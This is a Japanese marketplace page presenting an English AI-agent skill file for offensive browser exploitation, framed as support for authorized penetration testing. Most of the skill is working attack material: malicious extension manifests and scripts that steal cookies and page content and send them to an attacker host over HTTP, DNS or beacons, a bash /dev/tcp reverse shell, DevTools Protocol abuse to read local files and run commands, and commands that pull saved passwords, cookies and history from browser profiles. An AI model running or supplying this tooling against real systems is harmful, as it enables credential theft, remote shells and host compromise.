Browser Exploitationのロゴ

Browser Exploitation

組織
blacklanternsecurity
browser-exploitation

Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.

Add to TypingMind

概要

公開者blacklanternsecurity
リポジトリred-run
スキル名browser-exploitation
スター
276
フォーク
39
同梱ファイル
指示のみ
ライセンスGPL-3.0
リンク
  • Markdown形式の指示

    モデルが必要に応じて読み込むSKILL.mdファイルです。関連するリクエストがあったときだけトークンを消費します。

  • どのLLMでも利用可能

    AIスキルはプロバイダー固有のコードではなく、通常のMarkdownなので、GPT、Claude、Gemini、Grok、ローカルモデルで利用できます。

  • 指示だけで完結

    モデルに必要なものはすべて指示に含まれているため、別途同期するファイルはありません。

  • オープンソース

    blacklanternsecurityがGitHubで公開しています。インストールする前にソースを確認してください。

インストール

AIスキル「Browser Exploitation」をTypingMindにインストールすれば、どのLLMでも利用できます。SKILL.mdを読み取れる別のAIエージェントに追加することもできます。

1

TypingMindにインストール

TypingMindはGitHubフォルダから直接スキルをインストールします。SKILL.mdを読み取り、リソースファイルをまとめてローカルに保存します。

  1. アプリを開き、「プラグイン」→「スキル」に移動します。
  2. 「GitHubからインストール」を選択します。
  3. 以下のスキルフォルダのURLを貼り付けて確定します。
    https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/browser-exploitation
  4. スキルを利用したいチャットごとに、そのスキルを有効にしてください。
「プラグイン」→「スキル」→「スキルを追加」→「GitHubのURLから」を選択し、フォルダのURLを貼り付けて「続行」を押します。
2

別のAIエージェントにインストール

Agent Skills形式を読み取れるAIエージェントなら、このスキルを利用できます。フォルダをそのAIエージェントのスキルディレクトリにコピーしてください。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/browser-exploitation .claude/skills/browser-exploitation
コピー後、新しいスキルを読み込むためにClaude Codeを再起動してください。

TypingMindで使用

TypingMindのチャットでBrowser Exploitationを有効にするだけで、あとはモデルが対応します。名前と説明がシステムプロンプトに含まれ、関連するリクエストがあると、モデルが指示の全文を自動で読み込みます。手動で呼び出す必要はなく、実際に使用されるまでトークンを消費しません。

関連するリクエストがあるとすぐに、モデルが自動的にBrowser Exploitationを読み込みます。

どのAIモデルでも利用可能

AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、Browser Exploitationは作成時に想定されたモデルに縛られません。TypingMindに一度インストールすれば、ご自身のAPIキーを使って、GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama、またはご自身で実行するローカルモデルで利用できます。

  • 必要なときだけ読み込み

    システムプロンプトには名前と説明だけが含まれます。関連するリクエストが初めてあったときに指示を取得するため、スキルを使わない間は指示の読み込みにトークンを消費しません。

  • チャットの途中でモデルを切り替え

    スキルはコードではなく指示なので、モデルを切り替えてもそのまま使えます。次のモデルも同じSKILL.mdを読み込みます。

スキルの指示

モデルが読み込むSKILL.mdの内容です。スキルはモデルが従う指示なので、インストールする前に確認してください。

Browser Exploitation

You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [browser-exploitation] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., extension-exfil-cookies.txt, cdp-file-read.txt).

Scope Boundary

This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

  • What was found (vulns, credentials, access gained)
  • Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

State Writes

Write actionable findings immediately via state so the orchestrator can react in real time:

  • add_credential() — cookies, tokens, saved passwords extracted
  • add_vuln() — confirmed CDP access, extension RCE, profile extraction
  • add_pivot() — internal services discovered via extension or CDP
  • add_blocked() — techniques attempted and failed

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Tool Requirements (Local-Only)

NEVER download, clone, install, or build tools. The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.

Prerequisites

Prerequisites vary by attack area:

  • Section A (Extensions): Extension upload endpoint or bot that loads attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
  • Section B (CDP): Exposed Chrome DevTools or Node.js inspector port (9222, 9229, or similar).
  • Section C (Profile Extraction): Shell access on a host with a browser installed (Chrome, Chromium, Firefox).

Step 1: Assess

Determine which attack vector applies:

  1. Extension upload endpoint found (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A)
  2. Exposed debug port (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B)
  3. Shell access with browser installed (post-exploit credential harvesting) → proceed to Step 4 (Section C)

If the orchestrator provided context specifying which section, skip directly to it.


Step 2: Malicious Extension Crafting (Section A)

2a: Egress Check

Before crafting exploit extensions, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.

Create a test extension that tries multiple egress methods:

Manifest V3 egress test:

json
{
  "manifest_version": 3,
  "name": "Egress Test",
  "version": "1.0",
  "permissions": ["activeTab"],
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["test.js"]
  }]
}

test.js:

javascript
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
  .catch(()=>{});

// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';

// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}

Start an HTTP listener on your attackbox (python3 -m http.server PORT) and check which callbacks arrive. Use the first method that works.

Egress priority:

  1. fetch() POST to attacker HTTP listener — most reliable, largest payloads
  2. DNS exfil via subdomain lookups — works when HTTP is blocked
  3. WebSocket to attacker — persistent connection for streaming data
  4. navigator.sendBeacon() — fire-and-forget, limited payload size

2b: Manifest V3 Extension Template

Modern Chrome uses Manifest V3. Content scripts run in page context; service workers handle background logic.

manifest.json:

json
{
  "manifest_version": 3,
  "name": "Helper",
  "version": "1.0",
  "permissions": ["activeTab", "cookies", "storage"],
  "host_permissions": ["<all_urls>"],
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_idle"
  }],
  "background": {
    "service_worker": "bg.js"
  }
}

Content script patterns (content.js):

javascript
// Cookie theft — read document.cookie from every page
let data = {
  url: location.href,
  cookies: document.cookie,
  html: document.documentElement.innerHTML.substring(0, 5000)
};
fetch('http://ATTACKBOX:PORT/exfil', {
  method: 'POST',
  body: JSON.stringify(data)
});

Service worker patterns (bg.js) — internal service access:

javascript
// Fetch internal services the bot's browser can reach
const targets = [
  'http://localhost:3000/',
  'http://localhost:5000/',
  'http://127.0.0.1:8080/',
  'http://INTERNAL_HOST:PORT/'
];

Promise.all(targets.map(u =>
  fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
    .catch(e => ({url: u, error: e.message}))
)).then(results => {
  fetch('http://ATTACKBOX:PORT/internal', {
    method: 'POST',
    body: JSON.stringify(results)
  });
});

2c: Manifest V2 Extension Template

Older environments may require Manifest V2 (background page instead of service worker).

manifest.json:

json
{
  "manifest_version": 2,
  "name": "Helper",
  "version": "1.0",
  "permissions": ["<all_urls>", "cookies", "activeTab"],
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_idle"
  }],
  "background": {
    "scripts": ["bg.js"],
    "persistent": false
  }
}

Content script and background script logic is the same as V3, but V2 background scripts have full DOM access (document, XMLHttpRequest).

2d: Packaging

Extensions must be packaged as a flat ZIP — files at the root, no subdirectory wrapper.

bash
# Correct: flat zip from inside the extension directory
cd /tmp/extension && zip -r /tmp/extension.zip .

# WRONG: creates a subdirectory inside the zip
zip -r /tmp/extension.zip /tmp/extension/

Verify structure: unzip -l /tmp/extension.zip should show manifest.json at the top level, not extension/manifest.json.

2e: Exfiltration Patterns

HTTP POST (preferred):

javascript
fetch('http://ATTACKBOX:PORT/exfil', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({cookies: document.cookie, url: location.href})
});

DNS exfil (when HTTP is blocked):

javascript
// Encode data in subdomain labels (max 63 chars per label)
let encoded = btoa(document.cookie).replace(/[^a-zA-Z0-9]/g, '');
let chunks = encoded.match(/.{1,60}/g) || [];
chunks.forEach((c, i) => {
  new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
});

Beacon (fire-and-forget):

javascript
navigator.sendBeacon('http://ATTACKBOX:PORT/beacon',
  new Blob([JSON.stringify({data: document.cookie})], {type: 'text/plain'}));

2f: Reverse Shell via Extension

When the bot runs on a host where you need shell access:

javascript
// content.js — trigger reverse shell via the page's server-side context
// Only works if extension can execute commands (e.g., via discovered RCE endpoint)

// Method 1: If an internal service has command injection
fetch('http://localhost:5000/vulnerable-endpoint', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
});

If the extension itself needs to deliver a reverse shell (e.g., via a discovered internal command injection), use the egress-tested port from Step 2a.

Shell method priority: mkfifo+nc > bash /dev/tcp > python socket. Try at most 3 ports before changing method. Do not iterate blindly.

2g: Common Constraints

  • Timeouts: Bots often kill extensions after 10–30 seconds. Pack all commands into the initial content_script execution. Use Promise.all() for parallel fetches.
  • URL character restrictions: Upload endpoints may reject /, >, < in filenames or paths. Use POST body instead of URL parameters for payloads.
  • Same-origin policy: Content scripts share the page's origin. Service workers can fetch cross-origin with host_permissions: ["<all_urls>"].
  • HTTPS → HTTP: Content scripts on HTTPS pages cannot fetch HTTP URLs (mixed content). Use the service worker for cross-protocol requests.

Step 3: Chrome DevTools Protocol (Section B)

3a: Discovery

bash
# Check if debug port is open and responsive
curl -s http://TARGET:9222/json/version
curl -s http://TARGET:9222/json

# Node.js inspector
curl -s http://TARGET:9229/json

The /json endpoint returns a list of open tabs with WebSocket debug URLs.

3b: Page Interaction via WebSocket

Use the webSocketDebuggerUrl from /json to interact with browser tabs:

bash
# List pages and get WebSocket URLs
PAGES=$(curl -s http://TARGET:9222/json)
WS_URL=$(echo "$PAGES" | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")

Evaluate JavaScript in page context:

bash
# Using websocat or python websocket client
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}' \
  | websocat "$WS_URL"

Python one-liner for CDP interaction:

python
import json, asyncio, websockets
async def cdp(ws_url, expr):
    async with websockets.connect(ws_url) as ws:
        await ws.send(json.dumps({"id":1,"method":"Runtime.evaluate","params":{"expression":expr}}))
        return json.loads(await ws.recv())

3c: Cookie Extraction

bash
# Get all cookies via CDP (not just current page)
echo '{"id":1,"method":"Network.getAllCookies"}' | websocat "$WS_URL"

3d: File Read

bash
# Read local files via fetch in page context
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
  | websocat "$WS_URL"

3e: Node.js Inspector RCE (Port 9229)

Node.js inspector allows direct code execution:

bash
# Get WebSocket URL
WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")

# Execute OS commands
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"require(\"child_process\").execSync(\"id\").toString()"}}' \
  | websocat "$WS_URL"

After confirming RCE, establish a reverse shell via the Shell Access workflow (start_listener → send reverse shell command → stabilize).


Step 4: Browser Profile Extraction (Section C)

4a: Locate Profiles

Chrome/Chromium:

bash
# Linux
ls -la ~/.config/google-chrome/Default/ 2>/dev/null
ls -la ~/.config/chromium/Default/ 2>/dev/null
# Also check other users
find /home -path "*/google-chrome/Default" -o -path "*/chromium/Default" 2>/dev/null

# Windows
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default" 2>nul
dir "%LOCALAPPDATA%\Chromium\User Data\Default" 2>nul

# macOS
ls ~/Library/Application\ Support/Google/Chrome/Default/

Firefox:

bash
# Linux
find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null

# Windows
dir "%APPDATA%\Mozilla\Firefox\Profiles" 2>nul

# macOS
ls ~/Library/Application\ Support/Firefox/Profiles/

4b: Extract Cookies

bash
# Chrome cookies (SQLite) — copy first to avoid lock issues
cp ~/.config/google-chrome/Default/Cookies /tmp/cookies.db
sqlite3 /tmp/cookies.db "SELECT host_key, name, encrypted_value FROM cookies;"

# Firefox cookies (SQLite)
cp ~/.mozilla/firefox/*.default*/cookies.sqlite /tmp/ff-cookies.db
sqlite3 /tmp/ff-cookies.db "SELECT host, name, value FROM moz_cookies;"

4c: Extract Saved Passwords

Chrome (Linux — encrypted with libsecret):

bash
cp ~/.config/google-chrome/Default/"Login Data" /tmp/logins.db
sqlite3 /tmp/logins.db "SELECT origin_url, username_value, hex(password_value) FROM logins;"

Chrome encrypts passwords with OS-specific methods:

  • Linux: libsecret (GNOME Keyring) or kwallet — decrypt with secretstorage Python module or extract the key from ~/.local/share/keyrings/
  • Windows: DPAPI — decrypt with dpapi.py (Impacket) or mimikatz
  • macOS: Keychain — security find-generic-password -w -s "Chrome Safe Storage"

Firefox saved passwords:

bash
# Firefox stores credentials in logins.json, encrypted with key from key4.db
# Use firefox_decrypt (if installed) or extract key4.db + logins.json
cp ~/.mozilla/firefox/*.default*/key4.db /tmp/
cp ~/.mozilla/firefox/*.default*/logins.json /tmp/

4d: Extract History and Other Data

bash
# Chrome history
cp ~/.config/google-chrome/Default/History /tmp/history.db
sqlite3 /tmp/history.db "SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 50;"

# Chrome autofill
sqlite3 /tmp/history.db "SELECT name, value FROM autofill;" 2>/dev/null

# Bookmarks (JSON, no encryption)
cat ~/.config/google-chrome/Default/Bookmarks | python3 -m json.tool

Step 5: Escalate or Pivot

After completing the applicable section:

  • Credentials found (cookies, passwords, API tokens): STOP. Return to orchestrator with credentials. The orchestrator records them and decides where to use them.
  • Internal services discovered (via extension SSRF or CDP): STOP. Return to orchestrator recommending web-discovery for new targets. Pass: internal URLs, any cookies/tokens for access.
  • Shell obtained (via CDP RCE or extension-delivered reverse shell): STOP. Return to orchestrator. Pass: session ID, user context, host info.
  • Browser profile extracted: STOP. Return to orchestrator with extracted credentials and session cookies for credential reuse.

Troubleshooting

Extension not loading

  • "manifest.json not found": ZIP has a subdirectory wrapper. Repackage as flat ZIP with manifest.json at root (see Step 2d).
  • "Manifest version not supported": Target browser doesn't support the manifest version. Try V2 if V3 fails, or vice versa.
  • "Permission denied": Remove unnecessary permissions from manifest. Start minimal (activeTab only) and add as needed.
  • Content script not executing: Check matches pattern. Use "<all_urls>" for broadest coverage. Verify run_at timing.

Exfiltration not landing

  • No HTTP callback: Run egress check (Step 2a) first. The bot's network may block outbound HTTP. Try DNS exfil or WebSocket.
  • CORS errors in console: Content scripts are not subject to CORS for fetch() when host_permissions includes the target. Service workers bypass CORS entirely with proper permissions.
  • Mixed content blocked: HTTPS page cannot load HTTP resources. Use the service worker for HTTP fetches, or exfil to an HTTPS endpoint.
  • Bot timeout: Pack all logic into initial execution. Avoid setTimeout() or sequential fetches. Use Promise.all().

CDP WebSocket connection refused

  • Port open but no WebSocket: The /json endpoint may require a specific host header. Try curl -H "Host: localhost" http://TARGET:9222/json.
  • Empty page list: Browser may have no open tabs. Try /json/new?http://TARGET to open a new tab (if permitted).
  • "websocat not found": Use Python websockets library instead, or curl with upgrade headers for simple one-shot commands.

Profile database locked

  • "database is locked": The browser is running. Copy the database file to /tmp/ before reading: cp Cookies /tmp/cookies.db.
  • Encrypted values: Chrome encrypts cookie values and passwords. On Linux, the encryption key is in GNOME Keyring. On Windows, use DPAPI. Extract the raw hex values and note the encryption method in your return summary — the orchestrator will route to the appropriate decryption approach.

よくある質問

AIスキル「Browser Exploitation」では何ができますか?

Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.

TypingMindでBrowser Exploitationを使うメリットは何ですか?

一度インストールすれば、どのモデルでも使えるからです。Browser Exploitationはプロバイダー固有のコードではなく、通常のMarkdownで記述されているため、同じスキルをGPT-5、Claude、Gemini、Grok、ローカルモデルで利用できます。チャットの途中でモデルを切り替えても、そのまま使い続けられます。TypingMindは自分のAPIキーで動作するため、シート単位のサブスクリプションではなく、プロバイダーに直接料金を支払います。スキルとチャットは自分のストレージに保持されます。

TypingMindにBrowser Exploitationをインストールするにはどうすればよいですか?

TypingMindで「プラグイン」→「スキル」→「GitHubからインストール」を開き、https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/browser-exploitationを貼り付けてください。TypingMindがSKILL.mdを読み込み、チャットごとに有効にできるスキルとしてインストールします。

Browser Exploitationを使えるAIモデルはどれですか?

TypingMindに接続したどのモデルでも利用できます。AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、GPT、Claude、Gemini、Grok、ローカルモデルのいずれも、リクエストの内容がこのスキルの用途に合ったときに、このスキルを読み込めます。

Browser Exploitationで使えるAIモデルの数に制限はありますか?

数に制限はありません。スキルに対応したモデルであれば、GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llamaなど、どのモデルでもBrowser Exploitationを利用できます。すべてTypingMind上で、自分のAPIキーを使って利用できます。

AIスキル「Browser Exploitation」は無料ですか?

はい。blacklanternsecurityがGPL-3.0ライセンスのもとでGitHubに公開しています。ご利用のAIプロバイダーに支払うのは、使用したトークンの料金だけです。

AIスキルとは何ですか?

AIスキルは、特定のタスクの実行方法をAIモデルに教える、再利用可能な指示のセットです。オープンなAgent Skills形式に従い、名前と説明を含むSKILL.mdファイルに加え、モデルが必要とするスクリプト、テンプレート、参照ファイルで構成されます。モデルはリクエストがスキルに合致したときだけ指示を読み込むため、インストール済みのスキルも、使うまでは費用がかかりません。

AIスキルは、プラグインやMCPサーバーとどう違いますか?

プラグインやMCPサーバーは、モデルが呼び出せる新しいツールを提供します。ツールとは、どこかで実行され、結果を返すコードです。一方、AIスキルは、タスクへの取り組み方、従うべき手順、望ましい出力の例といった知識や進め方をモデルに伝えます。スキルは通常のMarkdownで記述されているため、サーバー、APIキー、実行環境は不要で、どのモデルでも利用できます。

すべて見る

今すぐ自分専用のAIワークスペースを作成

ニュースレターに登録すると、新機能や今後のプレゼント企画のお知らせが届きます👇